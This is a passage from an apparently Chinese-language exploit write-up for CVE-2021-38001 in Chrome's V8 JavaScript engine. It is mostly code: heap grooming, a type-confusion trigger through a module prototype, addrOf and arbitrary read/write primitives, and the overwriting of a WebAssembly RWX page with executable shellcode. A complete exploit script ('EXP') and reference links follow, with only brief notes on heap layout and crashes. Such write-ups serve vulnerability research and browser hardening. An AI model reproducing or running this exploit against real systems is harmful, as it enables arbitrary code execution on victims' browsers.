34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
for(let i = 0; i < 0x8000; i++){
new ArrayBuffer(0x1000);
}

var oobDoubleArr = [1.8457939563e-314]; // 0xdeadbeef

var oobStrAddr = 0x081d3371;
var oobDoubleArrElementsOffset = oobStr.lastIndexOf("\xef\xbe\xad\xde");
var oobDoubleArrElementsAddr = oobStrAddr + oobDoubleArrElementsOffset + 4;
var oobDoubleArrAddr = oobDoubleArrElementsAddr - 0x18;
printhex("oobDoubleArrAddr",oobDoubleArrAddr);

var oobDoubelArrLengthOffset = ((oobDoubleArrAddr + 0x8) - (oobStrAddr + 0x8)) / 8;
printhex("oobDoubelArrLengthOffset",oobDoubelArrLengthOffset);

var originLength = f2i(fakeArr[oobDoubelArrLengthOffset]);
var fakeLength = (0xf0000n << 32n) | (originLength & 0xffffffffn);
fakeArr[oobDoubelArrLengthOffset] = i2f(fakeLength);

for(let i = 0; i < 0x10; i++){
new ArrayBuffer(8);
}

var oobObjArr = [oobDoubleArr];

function addrOf(obj){
oobObjArr[0] = obj;
let result = f2i(oobDoubleArr[0x7e]) >> 32n;
return result;
}

for(let i = 0; i < 0x10; i++){
new ArrayBuffer(8);
}

var ab = new ArrayBuffer(8);
var da = [1.1];

function read64(addr){
let data = f2i(oobDoubleArr[0x10a]) & 0xffffffffn | (addr - 0x8n) << 32n;
oobDoubleArr[0x10a] = i2f(data);
let result = f2i(da[0]);
return result;
}

function write64(addr,val){
let data = f2i(oobDoubleArr[0x10a]) & 0xffffffffn | (addr - 0x8n) << 32n;
oobDoubleArr[0x10a] = i2f(data);
da[0] = i2f(val);
}

function arbRead(addr){
let high = ((f2i(oobDoubleArr[0x103]) >> 32n) << 32n) | (addr >> 32n);
let low = (f2i(oobDoubleArr[0x102]) & 0xffffffffn) | ((addr & 0xffffffffn) << 32n);
oobDoubleArr[0x103] = i2f(high);
oobDoubleArr[0x102] = i2f(low);
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true));
}

function arbWrite(addr,val){
let high = ((f2i(oobDoubleArr[0x103]) >> 32n) << 32n) | (addr >> 32n);
let low = (f2i(oobDoubleArr[0x102]) & 0xffffffffn) | ((addr & 0xffffffffn) << 32n);
oobDoubleArr[0x103] = i2f(high);
oobDoubleArr[0x102] = i2f(low);
let ua = new Uint8Array(ab);
ua.set(val);
}

这里手动用 ArrayBuffer 调了一下堆布局,这里似乎写代码会一定程度影响堆布局,同时用的 1.8457939563e-314 而非 i2f(0xdeadbeef) 是因为如果用后者的话 lastIndexOf 就会找到别的地方去(猜测是因为我们自己也使用了一个相同的 SMI )

最后写 shellcode 并执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addrOf(wasmInstance);
printhex("wasm_instance_addr",wasm_instance_addr);

var rwx_page_addr = read64(wasm_instance_addr + 0x60n);
printhex("rwx_page_addr",rwx_page_addr);

var shellcode = [1221144904, 4294437249, 2370371583, 4294962949, 2092648703, 3386544583, 1214099386, 1210538033, 4294965293, 385147647, 2168703484, 356483073, 2712256169, 4111858874, 2868377888, 4111839162, 3543319329, 425570234, 3149259199, 890867662, 2291581332, 1281856227, 2984354281, 523357913, 2173552583, 2035435827, 3386544583, 1221144904, 4294437249, 2370371583, 4294962949, 2092648703, 3386544583, 1214099386, 1210538033, 4294965293, 385147647, 2168703484, 356483073, 2712256169, 4111858874, 2868377888, 4111839162, 3543319329, 425570234, 3149259199, 890867662, 2291581332, 1281856227, 2984354281, 523357913, 2173552583, 2035435827, 3386544583, 6139834];

var ab2 = new ArrayBuffer(0x100);
var dataview = new DataView(ab2);
var backingStore = addrOf(ab2) + 0x1cn;
printhex("backingStore",backingStore);

write64(backingStore,rwx_page_addr);

for(var i = 0; i < shellcode.length; i++) {
dataview.setUint32(4 * i, shellcode[i], true);
}

f();

如果用 arbWrite 方法一个字节一个字节写会走到 ic 的地方然后 crash 掉,可能和我们前面的操作有关,暂时还没弄清楚具体的原因,不过十分神奇2333

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
/* 1.mjs
export let x = {};
export let y = {};
export let z = {};
*/

import * as module from "1.mjs";

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);

function f2i(f){
float64[0] = f;
return bigUint64[0];
}

function i2f(i){
bigUint64[0] = i;
return float64[0];
}

function hex(i){
return '0x' + i.toString(16).padStart(16, '0');
}

function printhex(name,value){
console.log(name + " : " + hex(value));
}

function int2str(x,size){
let result = ""
for(let i = 0; i < size; i ++){
result += String.fromCharCode(x & 0xff);
x >>= 8;
}
return result;
}

var oobStr = "Ver";

// var map = 0x082c3ae1
// var properties = 0x0800222d;
// var element = 0x081d3371;
// var length = 0x200000;

var fakeObjStr = "\xe1\x3a\x20\x08\x2d\x22\x00\x08\x71\x33\x1d\x08\x00\x00\x20\x00"

// var fakeObjStrAddr = 0x081d3399 + 0xc;
var fakeCellStr = "AAAA\xa5\x33\x1d\x08";

// var fakeCellStrAddr = 0x081d33cd + 0xc
var fakeExportStr = "AAAA\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08\xd9\x33\x1d\x08";

// fakeExportStr = 0x081d33fd + 0xc
var fakeModuleStr = "AAAA\x09\x34\x1d\x08";

var fakeModuleStrAddr = i2f(0x081d33fdn + 0xcn);

function getFakeArr() {
class A {
constructor(){
this.x1 = fakeModuleStrAddr;
}
m() {
return super.y;
}
}

let zz = {aa: 1, bb: 2};

function trigger() {
A.prototype.__proto__ = zz;
A.prototype.__proto__.__proto__ = module;
let a = new A();
let result = a.m();
return result;
}

for (let i = 0; i < 0x20; i++) {
var result = trigger();
if(result.length != undefined){
return result;
}

}
}

var fakeArr = getFakeArr();
fakeArr[0] = i2f(0xf0000n);

for(let i = 0; i < 0x8000; i++){
new ArrayBuffer(0x1000);
}

var oobDoubleArr = [1.8457939563e-314]; // 0xdeadbeef

var oobStrAddr = 0x081d3371;
var oobDoubleArrElementsOffset = oobStr.lastIndexOf("\xef\xbe\xad\xde");
var oobDoubleArrElementsAddr = oobStrAddr + oobDoubleArrElementsOffset + 4;
var oobDoubleArrAddr = oobDoubleArrElementsAddr - 0x18;
printhex("oobDoubleArrAddr",oobDoubleArrAddr);

var oobDoubelArrLengthOffset = ((oobDoubleArrAddr + 0x8) - (oobStrAddr + 0x8)) / 8;
printhex("oobDoubelArrLengthOffset",oobDoubelArrLengthOffset);

var originLength = f2i(fakeArr[oobDoubelArrLengthOffset]);
var fakeLength = (0xf0000n << 32n) | (originLength & 0xffffffffn);
fakeArr[oobDoubelArrLengthOffset] = i2f(fakeLength);

for(let i = 0; i < 0x10; i++){
new ArrayBuffer(8);
}

var oobObjArr = [oobDoubleArr];

function addrOf(obj){
oobObjArr[0] = obj;
let result = f2i(oobDoubleArr[0x7e]) >> 32n;
return result;
}

for(let i = 0; i < 0x10; i++){
new ArrayBuffer(8);
}

var ab = new ArrayBuffer(8);
var da = [1.1];

function read64(addr){
let data = f2i(oobDoubleArr[0x10a]) & 0xffffffffn | (addr - 0x8n) << 32n;
oobDoubleArr[0x10a] = i2f(data);
let result = f2i(da[0]);
return result;
}

function write64(addr,val){
let data = f2i(oobDoubleArr[0x10a]) & 0xffffffffn | (addr - 0x8n) << 32n;
oobDoubleArr[0x10a] = i2f(data);
da[0] = i2f(val);
}

function arbRead(addr){
let high = ((f2i(oobDoubleArr[0x103]) >> 32n) << 32n) | (addr >> 32n);
let low = (f2i(oobDoubleArr[0x102]) & 0xffffffffn) | ((addr & 0xffffffffn) << 32n);
oobDoubleArr[0x103] = i2f(high);
oobDoubleArr[0x102] = i2f(low);
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true));
}

function arbWrite(addr,val){
let high = ((f2i(oobDoubleArr[0x103]) >> 32n) << 32n) | (addr >> 32n);
let low = (f2i(oobDoubleArr[0x102]) & 0xffffffffn) | ((addr & 0xffffffffn) << 32n);
oobDoubleArr[0x103] = i2f(high);
oobDoubleArr[0x102] = i2f(low);
let ua = new Uint8Array(ab);
ua.set(val);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addrOf(wasmInstance);
printhex("wasm_instance_addr",wasm_instance_addr);

var rwx_page_addr = read64(wasm_instance_addr + 0x60n);
printhex("rwx_page_addr",rwx_page_addr);

var shellcode = [1221144904, 4294437249, 2370371583, 4294962949, 2092648703, 3386544583, 1214099386, 1210538033, 4294965293, 385147647, 2168703484, 356483073, 2712256169, 4111858874, 2868377888, 4111839162, 3543319329, 425570234, 3149259199, 890867662, 2291581332, 1281856227, 2984354281, 523357913, 2173552583, 2035435827, 3386544583, 1221144904, 4294437249, 2370371583, 4294962949, 2092648703, 3386544583, 1214099386, 1210538033, 4294965293, 385147647, 2168703484, 356483073, 2712256169, 4111858874, 2868377888, 4111839162, 3543319329, 425570234, 3149259199, 890867662, 2291581332, 1281856227, 2984354281, 523357913, 2173552583, 2035435827, 3386544583, 6139834];

var ab2 = new ArrayBuffer(0x100);
var dataview = new DataView(ab2);
var backingStore = addrOf(ab2) + 0x1cn;
printhex("backingStore",backingStore);

write64(backingStore,rwx_page_addr);

for(var i = 0; i < shellcode.length; i++) {
dataview.setUint32(4 * i, shellcode[i], true);
}

f();

Reference

https://github.com/Peterpan0927/TFC-Chrome-v8-bug-CVE-2021-38001-poc

https://github.com/vngkv123/aSiagaming/tree/master/Chrome-v8-1260577

https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md